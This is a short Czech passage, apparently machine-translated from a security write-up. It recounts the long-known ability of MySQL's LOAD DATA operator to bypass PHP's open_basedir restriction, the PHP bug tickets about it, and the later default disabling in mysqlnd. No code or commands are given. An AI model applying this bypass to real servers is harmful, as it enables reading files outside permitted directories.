Zajímavostí je, že popisovaná schopnost operátora LOAD DATA je známá již minimálně deset let. Zmínku o tom lze například nalézt v tiketu [#15408] (Safe Mode / MySQL Vuln 2002-02-06) a poté se podobné otázky opakovaně objevovaly na bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. Na což vývojáři odpověděli doslovně následující:

[e-mail chráněný] To není chyba, to je vlastnost :)

Nebo přiřadili tiket "Stav: Neopraví se". Nebo se omezili na záplaty, které neřešily téměř nic. Vstupenky na toto téma opět vznikly. Proto zadaná metoda obcházení open_basedir stále funguje na poměrně velkém počtu serverů. S příchodem nového ovladače mysqlnd se však zdá, že bylo učiněno rozhodnutí provést významné změny: s výchozími instalacemi se tento operátor nyní vůbec nespustí [#54158] [#55737]. Doufejme, že v blízké budoucnosti vývojáři v této věci uvedou pořádek.